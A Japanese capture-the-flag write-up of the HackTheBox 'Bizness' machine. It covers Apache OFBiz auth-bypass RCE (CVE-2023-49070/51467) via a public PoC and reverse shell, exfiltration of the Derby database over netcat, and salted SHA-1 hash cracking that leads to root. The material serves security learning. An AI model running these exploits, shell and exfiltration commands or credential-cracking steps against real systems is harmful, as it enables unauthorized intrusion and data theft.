HackTheBox Bizness WriteUp

今回はHackTheBoxのEasyマシン「Bizness」のWriteUpです！
名前からはどのようなマシンかわかりませんね。。楽しみです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2e301cfe-3dd3-129a-2627-5b38a8b22e33.png)

グラフは普通のEasyマシンですね。少し評価が低いので癖が強そうな気がしますが...
攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Bizness

### 列挙

それでは攻略を始めていきましょう。
まずはポートスキャンから実行していきます。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sSVC -p- --min-rate=1000 10.10.11.252   

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp   open  ssl/http   nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-14T20:03:40
| Not valid after:  2328-11-10T20:03:40
| MD5:   b182:2fdb:92b0:2036:6b98:8850:b66e:da27
|_SHA-1: 8138:8595:4343:f40f:937b:cc82:23af:9052:3f5d:eb50
| tls-alpn: 
|_  http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0
34635/tcp open  tcpwrapped
```

80番と443番に加えて、34635番も開いていますね。
とりあえずWEBにアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/040c69f5-6c78-0cf9-eba4-6e2c16e36232.png)

マシンの名前の通り、ビジネスのソリューションを提供するといったWEBサイトが表示されました。
このWEBサイトには特に気になる遷移がないのでディレクトリ探索を行います。

```
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u https://bizness.htb/FUZZ -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://bizness.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

control                 [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 458ms]
:: Progress: [20476/20476] :: Job [1/1] :: 225 req/sec :: Duration: [0:01:33] :: Errors: 0 ::
```

新たに```control```を発見しました。アクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/def17754-face-4296-5e17-2d2363e43a7b.png)

「Apache OFBiz」のエラーページが表示されました。
「Bizness」という名前は「Apache OFBiz」から来ていたようです。
「Apache OFBiz」の構成を知るために公式ページへアクセスしてみましょう。

https://ofbiz.apache.org/developers.html

ページの内容から、```<IP>/accounting```にアクセスすることで、ログインページに遷移できることがわかりました。アクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/40861eb6-cb44-4350-d161-2ed8492ca59b.png)

```/accouting/control/main```へリダイレクトされ、ログイン画面が表示されました

### CVE-2023-49070 / CVE-2023-51467

ログイン画面をよく見てみると、右下に「Apache OFBiz. Release 18.12」というようにバージョンが書かれています。Googleで脆弱性がないかを検索すると、以下の記事を発見しました。

https://github.com/Praison001/Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467

どうやら、「Apache OFBiz 18.12」には認証前のRCEが存在するようです。

:::note warn
概要 : CVE-2023-49070 / CVE-2023-51467
「Apache OFBiz」の脆弱性です。CVE-2023-51467は、CVE-2023-49070のパッチがXML-RPCコードを削除するだけだったことから再発しました。
ユーザ名とパスワードを空にしたうえで、```requirePasswordChange```を```Y```としてリクエストを送信したとき、```checkLogin```という関数のブール値チェックが```false```を返すためログインに成功したとしてバイパスに成功します。
:::

GitHubにPoCも公開されているので、そのまま実行してみましょう。
まずは、待ち受けを開始します。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121            
listening on [any] 2121 ...
```

あとはPoCを実行するだけです。実行していきましょう。

```bash
+[~/bizness/Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467]
(σ▰>∇<)σ<10.10.14.8>$ python3 exploit.py https://bizness.htb/
   _  _         _     _   _          ___ _       
 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_ 
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|

Scanning...
Target is vulnerable!!

Do you want to exploit this and pop a shell? (Y)es or (N)o 
Y
Enter your IP: 10.10.14.8
Enter the listening port: 2121
Checking if ysoserial-all.jar exists in the current directory....

Serializing the payload

Exploit completed. Enjoy ^^ 
```

成功していそうです！待ち受けを確認すると...

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
```

あれ、シェルが取得できていません。。
再度GitHubを確認してみると、ページ下にこのように書いてありました。

:::note warn
シリアル化が行われない場合、または何らかの理由でエクスプロイトが成功しなかった場合は、以下の手順に従って Java バージョンをダウングレードし、もう一度試してください。
:::

どうやら、Javaのバージョンを11へ変更する必要があるようです。
```update-alternatives```を実行して、ダウングレードしましょう。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ sudo update-alternatives --config java
[sudo] password for kali: 
There are 3 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                         Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      manual mode
  3            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual mode
```

こんどこそ準備完了です！

## ofbiz としてのシェル

それでは、次こそシェルが取得できることを祈って、PoCを実行しましょう。

```bash
+[~/bizness/Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467]
(σ▰>∇<)σ<10.10.14.8>$ python3 exploit.py https://bizness.htb/
   _  _         _     _   _          ___ _       
 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_ 
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|

Scanning...
Target is vulnerable!!

Do you want to exploit this and pop a shell? (Y)es or (N)o 
Y
Enter your IP: 10.10.14.8
Enter the listening port: 2121
Checking if ysoserial-all.jar exists in the current directory....

Serializing the payload

Exploit completed. Enjoy ^^ 
```

特に出力は変わっていませんが、待ち受けを確認すると...

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.252] 59050
bash: cannot set terminal process group (553): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ whoami
whoami
ofbiz
```

シェルを取得できました！

```bash
ofbiz@bizness:~$ ls -l
ls -l
total 4
-rw-r----- 1 root ofbiz-operator 33 May 27 17:45 user.txt
```

ユーザフラグも取得できました。

### 権限昇格

それでは、ここから権限昇格を目指していきます。
まずはいつものように```sudo -l```を実行します。

```bash
ofbiz@bizness:~$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
```

どうやら```sudo```は使用できないようです。
内部の列挙が必要そうなので、まずは```/opt/ofbiz```配下を調査していくことにしました。

```bash
ofbiz@bizness:/opt/ofbiz$ ls -l
ls -l
total 220
-rw-r--r--  1 ofbiz ofbiz-operator  7136 Oct 13  2023 APACHE2_HEADER
drwxr-xr-x 14 ofbiz ofbiz-operator  4096 Dec 21 09:15 applications
drwxr-xr-x 10 ofbiz ofbiz-operator  4096 Dec 21 09:15 build
-rw-r--r--  1 ofbiz ofbiz-operator 48733 Oct 13  2023 build.gradle
-rw-r--r--  1 ofbiz ofbiz-operator  2492 Oct 13  2023 common.gradle
drwxr-xr-x  3 ofbiz ofbiz-operator  4096 Dec 21 09:15 config
drwxr-xr-x  4 ofbiz ofbiz-operator  4096 Dec 21 09:15 docker
-rw-r--r--  1 ofbiz ofbiz-operator  4980 Oct 13  2023 Dockerfile
-rw-r--r--  1 ofbiz ofbiz-operator  9432 Oct 13  2023 DOCKER.md
drwxr-xr-x  3 ofbiz ofbiz-operator  4096 Dec 21 09:15 docs
drwxr-xr-x 19 ofbiz ofbiz-operator  4096 Dec 21 09:15 framework
drwxr-xr-x  3 ofbiz ofbiz-operator  4096 Dec 21 09:15 gradle
-rw-r--r--  1 ofbiz ofbiz-operator  1185 Oct 13  2023 gradle.properties
-rwxr-xr-x  1 ofbiz ofbiz-operator  6134 Oct 13  2023 gradlew
-rw-r--r--  1 ofbiz ofbiz-operator  3185 Oct 13  2023 gradlew.bat
-rwxr-xr-x  1 ofbiz ofbiz-operator  1246 Oct 13  2023 init-gradle-wrapper.bat
-rw-r--r--  1 ofbiz ofbiz-operator  2672 Oct 13  2023 INSTALL
drwxr-xr-x  2 ofbiz ofbiz-operator  4096 Dec 21 09:15 lib
-rw-r--r--  1 ofbiz ofbiz-operator 13324 Oct 29  2023 LICENSE
-rw-r--r--  1 ofbiz ofbiz-operator   166 Oct 13  2023 NOTICE
-rw-r--r--  1 ofbiz ofbiz-operator   145 Oct 13  2023 npm-shrinkwrap.json
-rw-r--r--  1 ofbiz ofbiz-operator  1747 Oct 13  2023 OPTIONAL_LIBRARIES
drwxr-xr-x 24 ofbiz ofbiz-operator  4096 Dec 21 09:15 plugins
-rw-r--r--  1 ofbiz ofbiz-operator 31656 Oct 13  2023 README.adoc
drwxr-xr-x  9 ofbiz ofbiz-operator  4096 Dec 21 09:15 runtime
-rw-r--r--  1 ofbiz ofbiz-operator   893 Oct 13  2023 SECURITY.md
-rw-r--r--  1 ofbiz ofbiz-operator  1246 Oct 13  2023 settings.gradle
drwxr-xr-x  7 ofbiz ofbiz-operator  4096 Dec 21 09:15 themes
-rw-r--r--  1 ofbiz ofbiz-operator     6 Oct 13  2023 VERSION
```

かなりの量のファイルがありますね。。

### Apache Derby

1つ1つ見ていくのはしんどすぎるので、とりあえずパスワードを含んでいそうなファイルを一気に出力させましょう。

```bash
ofbiz@bizness:/opt/ofbiz$ grep 'password' -ri ./
grep 'password' -ri ./
./applications/accounting/data/helpdata/HELP_ACCOUNTING_EditPaymentGatewayConfig.xml:        details of the username and password required for the validation of the external account
./applications/accounting/config/AccountingUiLabels.xml:    <property key="FormFieldTitle_proxyPassword">
./applications/accounting/config/AccountingUiLabels.xml:        <value xml:lang="en">Proxy Password</value>
./applications/accounting/config/AccountingUiLabels.xml:        <value xml:lang="it">Password proxy</value>
./applications/accounting/config/AccountingUiLabels.xml:        <value xml:lang="it">Password</value>
./applications/accounting/config/payment.properties:payment.clearcommerce.password=[ClearCommerce password]
./applications/accounting/config/payment.properties:payment.verisign.pwd=[PayFlow Password]
./applications/accounting/config/payment.properties:# Password - your authorize.net password
./applications/accounting/config/payment.properties:payment.authorizedotnet.password=
./applications/accounting/config/payment.properties:# payment.authorizedotnet.password=realpassword
./applications/accounting/config/payment.properties:payment.securepay.pwd=[SecurePay Password]
./applications/accounting/config/paymentTest.properties:payment.clearcommerce.password=xxxxxxx
...
```

対象に出力されました...これをすべて確認するもの大変すぎるので、設定ファイルやDBに関連していそうなファイルに絞ります。
まず、公式サイトから使用されているDBを調べました。

https://nightlies.apache.org/ofbiz/trunk/readme/html5/README.html

サイトによると、「Apache OFBiz」では、「Apache Derby」が使用されているようです。私はこのDBに出会うのが初めてだったので、どのような構成なのかを調べてみました。

https://db.apache.org/derby/docs/10.0/manuals/develop/develop13.html#HDRSII-DEVELOP-40724

「Apache Derby」では、```seg0```というディレクトリにテーブルの情報が保存されることがわかりました。実際にターゲット内部で```seg0```ディレクトリがあるかを見てみると...

```bash
ofbiz@bizness:/opt/ofbiz$ find ./ -name 'seg0' 
find ./ -name 'seg0'
./runtime/data/derby/ofbiz/seg0
./runtime/data/derby/ofbizolap/seg0
./runtime/data/derby/ofbiztenant/seg0
```

いくつかのディレクトリを確認することができました。コマンドラインからの接続方法も調べてみました。

https://qiita.com/sengoku/items/27999db68108332be979

```ij```というコマンドを指定することで、DBに接続できるようです。
ターゲット側で実行可能か試してみましょう。

```bash
ofbiz@bizness:/opt/ofbiz$ ij
ij
bash: ij: command not found
```

予想はしていましたが、そんなコマンドはないといわれました。。```ij```を使用してDB内を列挙するには、DBファイルをホスト側に転送する必要がありそうです。

転送自体は簡単ですが、問題はどのファイルを使用するかです。DBの対象となるファイルやディレクトリの情報をさらに調べると以下の記事を発見しました。

https://cwiki.apache.org/confluence/display/OFBIZ/Multitenancy+support

記事によると、DBの接続情報等に関しては```entityengine.xml```に記載されているようです。見てみましょう。

```bash
ofbiz@bizness:/opt/ofbiz/framework/entity/config$ cat entityengine.xml
cat entityengine.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements.  See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.  The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License.  You may obtain a copy of the License at
...
<delegator name="default-no-eca" entity-model-reader="main" entity-group-reader="main" entity-eca-reader="main" entity-eca-enabled="false" distributed-cache-clear-enabled="false">
    <group-map group-name="org.apache.ofbiz" datasource-name="localderby"/>
    <group-map group-name="org.apache.ofbiz.olap" datasource-name="localderbyolap"/>
    <group-map group-name="org.apache.ofbiz.tenant" datasource-name="localderbytenant"/>
</delegator>
```

```datasource-name```に```localderby```をはじめとする3つが指定されています。試しに```localderby```の設定を確認してみると...


```bash
<datasource name="localderby"
            helper-class="org.apache.ofbiz.entity.datasource.GenericHelperDAO"
            schema-name="OFBIZ"
            field-type-name="derby"
            check-on-start="true"
            add-missing-on-start="true"
            use-pk-constraint-names="false"
            use-indices-unique="false"
            alias-view-columns="false"
            use-order-by-nulls="true"
            offset-style="fetch">
        <read-data reader-name="tenant"/>
        <read-data reader-name="seed"/>
        <read-data reader-name="seed-initial"/>
        <read-data reader-name="demo"/>
        <read-data reader-name="ext"/>
        <read-data reader-name="ext-test"/>
        <read-data reader-name="ext-demo"/>
        <!-- beware use-indices-unique="false" is needed because of Derby bug with null values in a unique index -->
        <inline-jdbc
                jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
                jdbc-uri="jdbc:derby:ofbiz;create=true"
                jdbc-username="ofbiz"
                jdbc-password-lookup="derby-ofbiz"
                isolation-level="ReadCommitted"
                pool-minsize="2"
                pool-maxsize="250"
                test-on-borrow="true"
                pool-jdbc-test-stmt="values 1"
                soft-min-evictable-idle-time-millis="600000"
                time-between-eviction-runs-millis="600000"/>
        <!-- <jndi-jdbc jndi-server-name="localjndi" jndi-name="java:/DerbyDataSource" isolation-level="ReadCommitted"/> -->
</datasource>
```

ユーザ名やパスワードと一緒に接続先URIも確認できました。この接続先URIからわかることは、```./runtime/data/derby/```配下のすべてのファイルを接続で使用するということです。
複数のファイルを転送しないといけないので、転送しやすいように圧縮します。

```bash
ofbiz@bizness:/opt/ofbiz/runtime/data$ tar -czf /tmp/derby.tar.gz derby
tar -czf /tmp/derby.tar.gz derby
```

圧縮できたら転送しましょう。

```bash
-- Kali
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2123 > derby.tar.gz
listening on [any] 2123 ...

-- Target
ofbiz@bizness:/tmp$ nc 10.10.14.8 2123 < derby.tar.gz
```

転送に成功したら、解凍します。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ tar -zxvf derby.tar.gz  
derby/
derby/ofbiz.tar
derby/ofbiz/
...
```

これで全く同じ環境になったので、```ij```コマンドを使用しDBへアクセスできるか試しましょう。

```bash
+[~/bizness/derby]
(σ▰>∇<)σ<10.10.14.8>$ ij
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ij version 10.14
ij> connect 'jdbc:derby:./ofbiz';
ij> show SCHEMAS;
TABLE_SCHEM                   
------------------------------
APP                           
NULLID                        
OFBIZ                         
SQLJ                          
SYS                           
SYSCAT                        
SYSCS_DIAG                    
SYSCS_UTIL                    
SYSFUN                        
SYSIBM                        
SYSPROC                       
SYSSTAT                       

12 rows selected
```

接続に成功しました！テーブルを列挙しましょう。

```bash
ij> show TABLES;
TABLE_SCHEM         |TABLE_NAME                    |REMARKS             
------------------------------------------------------------------------
SYS                 |SYSALIASES                    |                    
SYS                 |SYSCHECKS                     |                    
SYS                 |SYSCOLPERMS                   |                    
SYS                 |SYSCOLUMNS                    |                    
SYS                 |SYSCONGLOMERATES              |                    
SYS                 |SYSCONSTRAINTS                |                
...
OFBIZ               |UOM_GROUP                     |                    
OFBIZ               |UOM_TYPE                      |                    
OFBIZ               |USER_AGENT                    |                    
OFBIZ               |USER_AGENT_METHOD_TYPE        |                    
OFBIZ               |USER_AGENT_TYPE               |                    
OFBIZ               |USER_LOGIN                    |                    
OFBIZ               |USER_LOGIN_HISTORY            |                    
OFBIZ               |USER_LOGIN_PASSWORD_HISTORY   |                    
OFBIZ               |USER_LOGIN_SECURITY_GROUP     |                    
OFBIZ               |USER_LOGIN_SECURITY_QUESTION  |                    
OFBIZ               |USER_LOGIN_SESSION            |                    
OFBIZ               |USER_PREFERENCE               |                    
OFBIZ               |USER_PREF_GROUP_TYPE          |                    
OFBIZ               |VALID_CONTACT_MECH_ROLE       |          
...
```

そこそこ多くのテーブルが存在しており、その中にユーザ関連のテーブルがありました。```USER_LOGIN```が一番怪しそうです。構成を確認しましょう。

```bash
ij> describe OFBIZ.USER_LOGIN;
COLUMN_NAME         |TYPE_NAME|DEC&|NUM&|COLUM&|COLUMN_DEF|CHAR_OCTE&|IS_NULL&
------------------------------------------------------------------------------
USER_LOGIN_ID       |VARCHAR  |NULL|NULL|255   |NULL      |510       |NO      
CURRENT_PASSWORD    |VARCHAR  |NULL|NULL|255   |NULL      |510       |YES     
PASSWORD_HINT       |VARCHAR  |NULL|NULL|255   |NULL      |510       |YES     
IS_SYSTEM           |CHAR     |NULL|NULL|1     |NULL      |2         |YES     
ENABLED             |CHAR     |NULL|NULL|1     |NULL      |2         |YES     
HAS_LOGGED_OUT      |CHAR     |NULL|NULL|1     |NULL      |2         |YES     
REQUIRE_PASSWORD_CH&|CHAR     |NULL|NULL|1     |NULL      |2         |YES     
LAST_CURRENCY_UOM   |VARCHAR  |NULL|NULL|20    |NULL      |40        |YES     
LAST_LOCALE         |VARCHAR  |NULL|NULL|10    |NULL      |20        |YES     
LAST_TIME_ZONE      |VARCHAR  |NULL|NULL|60    |NULL      |120       |YES     
DISABLED_DATE_TIME  |TIMESTAMP|9   |10  |29    |NULL      |NULL      |YES     
SUCCESSIVE_FAILED_L&|NUMERIC  |0   |10  |20    |NULL      |NULL      |YES     
EXTERNAL_AUTH_ID    |VARCHAR  |NULL|NULL|255   |NULL      |510       |YES     
USER_LDAP_DN        |VARCHAR  |NULL|NULL|255   |NULL      |510       |YES     
DISABLED_BY         |VARCHAR  |NULL|NULL|255   |NULL      |510       |YES     
LAST_UPDATED_STAMP  |TIMESTAMP|9   |10  |29    |NULL      |NULL      |YES     
LAST_UPDATED_TX_STA&|TIMESTAMP|9   |10  |29    |NULL      |NULL      |YES     
CREATED_STAMP       |TIMESTAMP|9   |10  |29    |NULL      |NULL      |YES     
CREATED_TX_STAMP    |TIMESTAMP|9   |10  |29    |NULL      |NULL      |YES     
PARTY_ID            |VARCHAR  |NULL|NULL|20    |NULL      |40        |YES     

20 rows selected
```

```CURRENT_PASSWORD```があるので、パスワードが取得できそうです。
SELECT文を実行しましょう。

```bash
ij> select USER_LOGIN_ID, CURRENT_PASSWORD from OFBIZ.USER_LOGIN;
USER_LOGIN_ID                   |CURRENT_PASSWORD    
--------------------------------------------------------------------------------------------
system                          |NULL                          
anonymous                       |NULL     
admin                           |$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
badboy                          |$SHA$h8gu$dzKKKlTt6XA2g3Z8yuSc9VSlzJg

4 rows selected
```

2人のユーザのハッシュ化されたパスワードを確認できました。

### Crack Hash

解読するためにどの種類のハッシュアルゴリズムが使用されているかを調べます。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ hashcat --identify admin.txt 
No hash-mode matches the structure of the input hash.
```

```hashcat```では、タイプを特定することができませんでした。インターネットで情報を調べても特に参考になりそうなものがなかったので、私は```docker-entrypoint.sh```から```admin```ユーザのハッシュが生成されるフローを確認することにしました。

```bash
load_admin_user() {
  if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
    TMPFILE=$(mktemp)

    # Concatenate a random salt and the admin password.
    SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
    SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"

    # Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
    SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')

    # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
    # through the printf command. Encode the result as URL base 64 and remove padding.
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')

    # Concatenate the hash type, salt and hash as the encoded password value.
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

    # Populate the login data template
    sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"

    # Load data from the populated template.
    /ofbiz/bin/ofbiz --load-data "file=$TMPFILE"

    rm "$TMPFILE"

    touch "$CONTAINER_ADMIN_LOADED"
  fi
}
```

いくつかの処理が行われていますが、ここで重要なことは「①ハッシュにはソルトが含まれていること」と「②ハッシュはBase64でエンコードされていること」です。つまり「①ソルトを判別すること」と「②ハッシュをBase64デコードすること」が必要です。

まず、ソルトですが取得できたハッシュと最終的に```ENCODED_PASSWORD_HASH```として出力される形をみることで容易に特定できます。

```
-- Admin's Hash
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

-- Create Hash Format
"\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

-- salt
d
```

それぞれ当てはめていくと、ソルトが```d```であることがわかりました。次にデコードですが、こちらもコマンド一つなので簡単です。一つ注意しなければならないのは```--base64url --wrap=0```が指定されていることです。正しい形でデコードするようにしてください。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ echo 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' | basenc --base64url --decode --wrap=0 | xxd -p
b8fd3f41a541a435857a8f3e751cc3a91c174362
```

これで解読するための必要なステップをすべて達成できました。最終的なハッシュの形は以下になります。

```bash
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
```

この状態で```hashcat```を実行しましょう。

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ hashcat --identify hash.txt 
The following 15 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
    110 | sha1($pass.$salt)                                          | Raw Hash salted and/or iterated
    120 | sha1($salt.$pass)                                          | Raw Hash salted and/or iterated
   4900 | sha1($salt.$pass.$salt)                                    | Raw Hash salted and/or iterated
   4520 | sha1($salt.sha1($pass))                                    | Raw Hash salted and/or iterated
  24300 | sha1($salt.sha1($pass.$salt))                              | Raw Hash salted and/or iterated
    140 | sha1($salt.utf16le($pass))                                 | Raw Hash salted and/or iterated
   4710 | sha1(md5($pass).$salt)                                     | Raw Hash salted and/or iterated
  21100 | sha1(md5($pass.$salt))                                     | Raw Hash salted and/or iterated
   4510 | sha1(sha1($pass).$salt)                                    | Raw Hash salted and/or iterated
   5000 | sha1(sha1($salt.$pass.$salt))                              | Raw Hash salted and/or iterated
    130 | sha1(utf16le($pass).$salt)                                 | Raw Hash salted and/or iterated
    150 | HMAC-SHA1 (key = $pass)                                    | Raw Hash authenticated
    160 | HMAC-SHA1 (key = $salt)                                    | Raw Hash authenticated
   5800 | Samsung Android Password/PIN                               | Operating System
    121 | SMF (Simple Machines Forum) > v1.1                         | Forums, CMS, E-Commerce
```

いくつか候補が出力されました。それぞれ試していくと...

```bash
+[~/bizness]
(σ▰>∇<)σ<10.10.14.8>$ hashcat -m 120 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness  
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
...
```

120番を指定したときに、ハッシュの解読に成功しました！

## root としてのシェル

それではこのパスワードを```root```ユーザとして使用できるか試してみましょう。

```bash
ofbiz@bizness:~$ su root
Password: 
root@bizness:/home/ofbiz# whoami
root
```

権限昇格に成功しました～！

```bash
root@bizness:~# ls -l
total 4
-rw-r----- 1 root root 33 May 27 17:45 root.txt
```

ルートフラグも取得し、完全攻略達成です！

### 攻略を終えて

無事攻略できましたが、権限昇格は少し時間がかかりました。「Apache OFBiz」を触ったのが初めてだったというのもありましたが、なかなかDBへの道筋が見えずにいました。。。
またハッシュのクラックもしっかりと生成フローから見ないといけないものだったので、Easyマシンにしては珍しいなと思いながら解いていました。
権限昇格が難しめだった分、初期侵入は一瞬でした笑
今回のような危険度の高いバージョンの脆弱性には即座に対処することが大切ですね。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました～！